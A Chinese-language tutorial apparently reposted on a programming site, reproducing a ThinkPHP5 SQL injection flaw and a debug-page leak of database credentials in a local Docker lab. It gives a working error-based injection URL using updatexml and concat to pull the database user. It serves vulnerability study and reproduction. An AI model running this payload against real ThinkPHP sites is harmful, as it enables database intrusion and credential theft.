PHP教程

ThinkPHP5 SQL注入漏洞 && 敏感信息泄露

本文主要是介绍ThinkPHP5 SQL注入漏洞 && 敏感信息泄露,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

漏洞简介

ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。

模块:thinkphp 所有的主入口文件默认访问index控制器
  方法:thinkphp 所有的控制器默认执行index动作
  构造:http://IP/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]

原理:控制了in语句的值位置,即可通过传入一个数组,来造成SQL注入漏洞。

漏洞复现

运行环境:

docker-compose up -d

在这里插入图片描述

默认80和3306端口
在这里插入图片描述

http://127.0.0.1/index.php?ids[]=1&ids[]=2

在这里插入图片描述即可看到用户名被显示了出来,说明环境运行成功。

http://127.0.0.1/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

在这里插入图片描述

当然,这是一个比较鸡肋的SQL注入漏洞。但通过DEBUG页面,我们找到了数据库的账号、密码:
这又属于一个敏感信息泄露漏洞。

这篇关于ThinkPHP5 SQL注入漏洞 && 敏感信息泄露的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!